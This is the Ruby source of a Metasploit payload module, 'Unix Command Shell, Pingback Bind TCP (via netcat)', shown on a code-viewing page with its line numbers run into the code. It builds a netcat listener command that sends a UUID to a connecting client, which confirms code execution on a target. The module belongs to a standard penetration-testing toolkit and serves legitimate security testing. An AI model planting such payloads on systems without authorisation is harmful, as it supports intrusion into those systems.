Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/pingback_bind.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 103910include Msf::Payload::Single11include Msf::Payload::Pingback12include Msf::Payload::Pingback::Options1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',17'Description' => 'Accept a connection, send a UUID, then exit',18'Author' =>19[20'asoto-r7'21],22'License' => MSF_LICENSE,23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::Pingback,27'PayloadType' => 'cmd',28'RequiredCmd' => 'netcat'29))30register_advanced_options(31[32OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc'])33]34)35end3637#38# Constructs the payload39#40def generate(_opts = {})41super.to_s + command_string42end4344#45# Returns the command string to use for execution46#47def command_string48self.pingback_uuid ||= self.generate_pingback_uuid49"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (#{datastore['NetcatPath']} -lp #{datastore['LPORT']} || #{datastore['NetcatPath']} -l #{datastore['LPORT']})"50end51end525354